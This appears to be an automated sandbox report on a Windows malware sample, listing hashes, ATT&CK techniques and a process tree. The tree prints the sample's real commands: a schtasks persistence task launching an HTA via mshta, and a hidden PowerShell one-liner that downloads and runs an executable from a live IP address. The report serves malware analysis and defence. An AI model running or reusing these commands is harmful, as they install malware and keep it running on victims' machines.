234f654f4de2449b6050d2a31e285f6936c80bce39be3b4f68a3ce1899fdaf13

General

Target

234f654f4de2449b6050d2a31e285f6936c80bce39be3b4f68a3ce1899fdaf13.exe
Size

938KB
MD5

75338f0061d3a9d0e9fec49eb8d394f9
SHA1

bc9e82fce457c2dab9c59935d3ea978728cda650
SHA256

234f654f4de2449b6050d2a31e285f6936c80bce39be3b4f68a3ce1899fdaf13
SHA512

7b7fbaa8573f5097ecd1862fc7df058e3ce2fead3ebb37033ed549902a75dcb21cc0c23668ce34ad837f8a62c1c710a0953e58b31cab8386ad1bf8bfa7400f2d
SSDEEP

24576:/qDEvCTbMWu7rQYlBQcBiT6rprG8ayrF:/TvC/MTQYxsWR7ayr

Score

10^/10

discovery execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://185.215.113.16/mine/random.exe

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
9	2676	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2676	powershell.exe

Downloads MZ/PE file 2 IoCs

flow	pid	Process
20	5080	Process not Found
9	2676	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1639772215-809007892-4072230623-1000\Control Panel\International\Geo\Nation	mshta.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MicrosoftEdgeUpdate.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	234f654f4de2449b6050d2a31e285f6936c80bce39be3b4f68a3ce1899fdaf13.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
3028	MicrosoftEdgeUpdate.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1072	schtasks.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2676	powershell.exe
2676	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2676	powershell.exe

Suspicious use of FindShellTrayWindow 3 IoCs

pid	Process
5096	234f654f4de2449b6050d2a31e285f6936c80bce39be3b4f68a3ce1899fdaf13.exe
5096	234f654f4de2449b6050d2a31e285f6936c80bce39be3b4f68a3ce1899fdaf13.exe
5096	234f654f4de2449b6050d2a31e285f6936c80bce39be3b4f68a3ce1899fdaf13.exe

Suspicious use of SendNotifyMessage 3 IoCs

pid	Process
5096	234f654f4de2449b6050d2a31e285f6936c80bce39be3b4f68a3ce1899fdaf13.exe
5096	234f654f4de2449b6050d2a31e285f6936c80bce39be3b4f68a3ce1899fdaf13.exe
5096	234f654f4de2449b6050d2a31e285f6936c80bce39be3b4f68a3ce1899fdaf13.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 5096 wrote to memory of 1944	5096	234f654f4de2449b6050d2a31e285f6936c80bce39be3b4f68a3ce1899fdaf13.exe	88
PID 5096 wrote to memory of 1944	5096	234f654f4de2449b6050d2a31e285f6936c80bce39be3b4f68a3ce1899fdaf13.exe	88
PID 5096 wrote to memory of 1944	5096	234f654f4de2449b6050d2a31e285f6936c80bce39be3b4f68a3ce1899fdaf13.exe	88
PID 5096 wrote to memory of 4956	5096	234f654f4de2449b6050d2a31e285f6936c80bce39be3b4f68a3ce1899fdaf13.exe	89
PID 5096 wrote to memory of 4956	5096	234f654f4de2449b6050d2a31e285f6936c80bce39be3b4f68a3ce1899fdaf13.exe	89
PID 5096 wrote to memory of 4956	5096	234f654f4de2449b6050d2a31e285f6936c80bce39be3b4f68a3ce1899fdaf13.exe	89
PID 1944 wrote to memory of 1072	1944	cmd.exe	91
PID 1944 wrote to memory of 1072	1944	cmd.exe	91
PID 1944 wrote to memory of 1072	1944	cmd.exe	91
PID 4956 wrote to memory of 2676	4956	mshta.exe	93
PID 4956 wrote to memory of 2676	4956	mshta.exe	93
PID 4956 wrote to memory of 2676	4956	mshta.exe	93

C:\Users\Admin\AppData\Local\Temp\234f654f4de2449b6050d2a31e285f6936c80bce39be3b4f68a3ce1899fdaf13.exe
"C:\Users\Admin\AppData\Local\Temp\234f654f4de2449b6050d2a31e285f6936c80bce39be3b4f68a3ce1899fdaf13.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:5096
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c schtasks /create /tn d1a1lma4uQe /tr "mshta C:\Users\Admin\AppData\Local\Temp\wI5Wsn16z.hta" /sc minute /mo 25 /ru "Admin" /f
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1944
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn d1a1lma4uQe /tr "mshta C:\Users\Admin\AppData\Local\Temp\wI5Wsn16z.hta" /sc minute /mo 25 /ru "Admin" /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:1072
- C:\Windows\SysWOW64\mshta.exe
  mshta C:\Users\Admin\AppData\Local\Temp\wI5Wsn16z.hta
  2⤵
  - Checks computer location settings
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4956
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'KXN9SZ89JSNQ0CY2EFU18QOCSUEVMGZN.EXE';(New-Object System.Net.WebClient).DownloadFile('http://185.215.113.16/mine/random.exe',$d);Start-Process $d;
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Downloads MZ/PE file
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2676

C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe
"C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe" /ping PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz48cmVxdWVzdCBwcm90b2NvbD0iMy4wIiB1cGRhdGVyPSJPbWFoYSIgdXBkYXRlcnZlcnNpb249IjEuMy4xOTUuNDMiIHNoZWxsX3ZlcnNpb249IjEuMy4xOTUuNDMiIGlzbWFjaGluZT0iMSIgc2Vzc2lvbmlkPSJ7NzExOTk4QjAtMTRDNy00QjMyLUExOEQtRTk1REZENURFQ0NGfSIgdXNlcmlkPSJ7MDM5Qjk4MDYtRDgyMi00NjI3LUIyNUQtRDJBNzhDQTk2NzQyfSIgaW5zdGFsbHNvdXJjZT0ibGltaXRlZCIgcmVxdWVzdGlkPSJ7Nzk5Q0JBMDctRTI0Ni00NkFCLUE3NDQtNzA0RUNFRjMwNkQ3fSIgZGVkdXA9ImNyIiBkb21haW5qb2luZWQ9IjAiPjxodyBsb2dpY2FsX2NwdXM9IjIiIHBoeXNtZW1vcnk9IjQiIGRpc2tfdHlwZT0iMiIgc3NlPSIxIiBzc2UyPSIxIiBzc2UzPSIxIiBzc3NlMz0iMSIgc3NlNDE9IjEiIHNzZTQyPSIxIiBhdng9IjEiLz48b3MgcGxhdGZvcm09IndpbiIgdmVyc2lvbj0iMTAuMC4xOTA0MS4xMjg4IiBzcD0iIiBhcmNoPSJ4NjQiIHByb2R1Y3RfdHlwZT0iNDgiIGlzX3dpcD0iMCIgaXNfaW5fbG9ja2Rvd25fbW9kZT0iMCIvPjxvZW0gcHJvZHVjdF9tYW51ZmFjdHVyZXI9IiIgcHJvZHVjdF9uYW1lPSIiLz48ZXhwIGV0YWc9IiZxdW90O0UreGJBejZZNnNVMTI4OWJTNnFsNFZSTGJramZCVUdUTUpzanJIcjQ0aUk9JnF1b3Q7Ii8-PGFwcCBhcHBpZD0iezhBNjlEMzQ1LUQ1NjQtNDYzYy1BRkYxLUE2OUQ5RTUzMEY5Nn0iIHZlcnNpb249IjEyMy4wLjYzMTIuMTIzIiBuZXh0dmVyc2lvbj0iIiBsYW5nPSJlbiIgYnJhbmQ9IkdHTFMiIGNsaWVudD0iIiBpbnN0YWxsYWdlPSIzIiBpbnN0YWxsZGF0ZXRpbWU9IjE3Mzg5NDY4ODkiIG9vYmVfaW5zdGFsbF90aW1lPSIxMzM4MzQxOTM2NTgwOTAwMDAiPjxldmVudCBldmVudHR5cGU9IjMxIiBldmVudHJlc3VsdD0iMSIgZXJyb3Jjb2RlPSIwIiBleHRyYWNvZGUxPSIyMTc5ODYyIiBzeXN0ZW1fdXB0aW1lX3RpY2tzPSI1MTExNTg1OTU1Ii8-PC9hcHA-PC9yZXF1ZXN0Pg
1⤵
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Internet Connection Discovery
PID:3028

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Persistence

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Privilege Escalation

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

System Network Configuration Discovery

1

T1016

Internet Connection Discovery

1

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zjun0yfv.h3d.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\wI5Wsn16z.hta

Filesize
720B

MD5
9e2620a3476b0afc17e6997638032283

SHA1
a0633667a028a1d1943ca1e44564611706606e80

SHA256
167fb525a6f473ad3c625c66881bfc03aa5ea9c0500637f94c27eccc5277f018

SHA512
5c8bfb58153cb5b85f88d5802d5fc52928bf1279301df3184a8bc3a016c7abbc13ccb7c44f158924eb41268326d83400f4a3bb1eca1c5a073b74ba7ba0bf154c

Download Submit
memory/2676-2-0x0000000004D80000-0x0000000004DB6000-memory.dmp

Filesize
216KB

Download
memory/2676-3-0x00000000053F0000-0x0000000005A18000-memory.dmp

Filesize
6.2MB

Download
memory/2676-6-0x0000000005C90000-0x0000000005CF6000-memory.dmp

Filesize
408KB

Download
memory/2676-16-0x0000000005D00000-0x0000000006054000-memory.dmp

Filesize
3.3MB

Download
memory/2676-5-0x0000000005C10000-0x0000000005C76000-memory.dmp

Filesize
408KB

Download
memory/2676-4-0x0000000005A70000-0x0000000005A92000-memory.dmp

Filesize
136KB

Download
memory/2676-17-0x0000000006300000-0x000000000631E000-memory.dmp

Filesize
120KB

Download
memory/2676-18-0x00000000063B0000-0x00000000063FC000-memory.dmp

Filesize
304KB

Download
memory/2676-20-0x0000000006810000-0x000000000682A000-memory.dmp

Filesize
104KB

Download
memory/2676-19-0x0000000007C40000-0x00000000082BA000-memory.dmp

Filesize
6.5MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads